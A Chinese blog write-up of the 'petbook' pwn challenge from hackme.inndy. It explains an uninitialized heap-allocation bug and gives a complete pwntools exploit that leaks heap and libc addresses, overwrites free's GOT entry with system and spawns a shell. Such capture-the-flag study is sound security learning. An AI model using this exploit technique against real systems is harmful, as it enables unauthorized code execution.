本文最后更新于:星期三, 一月 2日 2019, 3:47 下午

防护机制:

[*] '/home/zs0zrc/pwn/Scoreboard/petbook/petbook'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled

开启了NX和Canary还有 FORTIFY

FORTIFY是用来检测缓存区溢出的一个机制,感觉好像没什么用,详情参考这篇博客

逆出来的user结构体

struct user
{
    int uid;
    char name[0x100];
    char pwd[0x100];
     int flag;
    char *petname;
    char *post;
}users;

pet结构体

struct pet
{
    int uid;
    char *name;
    char *type;
}pet; //大致长这样

程序的功能有:

  1. register 创建用户
  2. login 登陆
  3. post
  4. edit post
  5. change password
  6. adopt pet
  7. rename pet
  8. abandon pet

程序的漏洞在于 register创建用户时,malloc的堆块未初始化,导致可以控制新创建的users的petname和post指针,可以通过post泄露信息,通过pet来实现任意地址写

int __fastcall user_create(char *src, char *password)
{
  users *user; // rbp

  if ( user_find_by_name(src) )
    return __printf_chk(1LL, "User %s existed!\n", src);
  user = malloc(0x218uLL);    //漏洞所在,没有初始化
  user->uid = uid();
  strncpy(user->name, src, 0x100uLL);
  strncpy(user->password, password, 0x100uLL);
  user->flag = 0;
  link_insert(&userdb, user);
  return puts("User created");
}

泄露信息:通过控制未初始化的user的pet指针,泄露信息

  v4 = user->petname;
  if ( v4 )
  {
    __printf_chk(1LL, "= Pet Name: %s\n", *(v4 + 1));
    __printf_chk(1LL, "= Pet Type: %s\n", *(user->petname + 2));
  }

任意地址写:

int pet_rename()
{
  __int64 v0; // rbx
  _DWORD *v1; // rdx

  v0 = current_user;
  if ( (*current_user ^ magic) & 0xFFFF0000 )
  {
    puts("corrupted object detected");
    exit(1);
  }
  v1 = *(current_user + 0x208);
  if ( !v1 )
    return puts("You don't have a pet");
  if ( (*v1 ^ magic) & 0xFFFF0000 )        //这里要绕过这个检查,所以要将magic泄露出来    
  {
    puts("corrupted object detected");
    exit(1);
  }
  puts("Name your pet >>");
  read_data(*(*(v0 + 0x208) + 8LL), 16LL);
  return stripnl(*(*(v0 + 0x208) + 8LL));
}

利用思路:

先create一个用户,这个用户new一个大小大于0x218的post,然后编辑这个post,增加它的大小,
使它原本的chunk被realloc函数free掉,放入unsortedbins中。这时再create一个用户,那么这
个用户malloc申请的chunk就会从unsortedbin中的chunk切割下来,就可以控制这个用户的petname
和post指针

具体步骤:

  1. 先创建一个用户’aaaa’,new一个post1,大小为0x230,将petname指针设置为userdb地址 - 0x10,然后编辑post1,使post1原本的chunk被relloca函数free掉
  2. 新建一个用户’bbbb’,泄露出堆地址
  3. 新建两个post,post2大小为0x100,post3大小为0x230,在post2中写入要泄露的地址,在post3中设置petname指针为post2的地址,post2的地址通过泄露的堆地址计算出来。通过控制 post2的内容,就可以泄露出想要的信息。
  4. 新建用户’cccc’,泄露出 magic和libc地址
  5. new一个post4,将petname指针指向post2地址,然后编辑post4将原本的chunk free掉,新建一个用户’dddd’,用户’dddd’的petname指针就指向post2
  6. 伪造fake_magic,登陆用户’bbbb’,编辑post2内容为 p64(fake_magic)+p64(free_got)
  7. 登陆用户 ‘dddd’, 通过rename功能修改free_got为system函数
  8. 新建一个用户’ffff’, adopt一个pet ,name为’/bin/sh\x00’,再abandom掉就可调用system函数了

exp:

#!/usr/bin/env python
from pwn import *
local = 1
context.log_level = 'debug'

if local:
    p = process('./petbook')
    elf = ELF('./petbook')
    libc = elf.libc
else:
    host = 'hackme.inndy.tw'
    port = '7710'
    p = remote(host,port)
    elf = ELF('./petbook')
    libc = ELF('./libc-2.23.so.x86_64')

def register(name,password):
    p.sendlineafter(" >>\n",'1')
    p.sendlineafter("Username >>\n",name)
    p.sendlineafter("Password >>\n",password)

def login(name,password):
    p.sendlineafter(" >>\n",'2')
    p.sendlineafter("Username >>\n",name)
    p.sendlineafter("Password >>\n",password)

def logout():
    p.sendlineafter(" >>\n",'0')

def post(title,size,content):
    p.sendlineafter(" >>\n",'1')
    p.sendlineafter("Title >>\n",title)
    p.sendlineafter("Content Length >>\n",str(size))
    p.sendlineafter("Content >>\n",content)

def edit_post(id,title,size,content):
    p.sendlineafter(" >>\n",'3')   
    p.sendlineafter("Post id >>\n",str(id))
    p.sendlineafter("New title >>\n",title)
    p.sendlineafter("New content size >>\n",str(size))
    p.sendlineafter("Content >>\n",content)     

def adopt(name):
    p.sendlineafter(" >>\n",'5')
    p.sendlineafter("Name your pet >>\n",name)

def rename(name):
    p.sendlineafter(" >>\n",'6')  
    p.sendlineafter("Name your pet >>\n",name)

def abandom():
    p.sendlineafter(" >>\n",'7')


payload1= 'a'*0x208 + p64(0x603158-0x10)*4
register('aaaa','aaaa')
login('aaaa','aaaa')
post('1111',0x230,payload1) #post1
edit_post(2,'1111',0x240,'bbbb')
logout()
register('bbbb','bbbb')
login('bbbb','bbbb')
log.info("leak heap address")
p.recvuntil("Pet Type: ")
leak_heap = u64(p.recvline().strip('\n').ljust(8,'\x00'))
heap_base = leak_heap - 0x230
log.info("leak heap_base address :{}".format(hex(heap_base)))

fake_pet = heap_base + 0x940
magic = 0x603164
payload2 = 'a'*0x208 + p64(fake_pet)
post('2222',0x100,p64(elf.got["puts"])*4)    #uid = 4   post2
post('3333',0x230,payload2) #uid = 5    post3
edit_post(5,'2222',0x240,'2222')
logout()

register('cccc','cccc')
login('cccc','cccc')
p.recvuntil("Pet Name: ")
leak_libc = u64(p.recvline().strip('\n').ljust(8,'\x00'))
libc_base = leak_libc - libc.symbols['puts']
libc.address = libc_base
system = libc.symbols['system']
log.info("libc address :{}".format(hex(libc_base)))

logout()
login('bbbb','bbbb')
edit_post(4,'3333',0x100,p64(magic)*4)
logout()
login('cccc','cccc')
p.recvuntil("Pet Name: ")
leak_magic = u64(p.recvline().strip('\n').ljust(8,'\x00'))
log.info("leak magic : {}".format(hex(leak_magic)))

log.info("hjack free_got")
fake_magic = leak_magic + 0x600000000
payload3 = p64(fake_magic) + p64(elf.got['free'])
payload4 = 'a'*0x208 +  p64(fake_pet)
post('aaaa',0x230,payload4) #uid = 7    post4
edit_post(7,'1111',0x240,'aaaa')

logout()
register('dddd','dddd')
login('bbbb','bbbb')
edit_post(4,'1111',0x100,payload3)
logout()

login('dddd','dddd')
rename(p64(system))

logout()
register('ffff','ffff')
login('ffff','ffff')
adopt('/bin/sh\x00')
abandom()
p.interactive()

hackme.inndy_writeup      writeup pwn

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!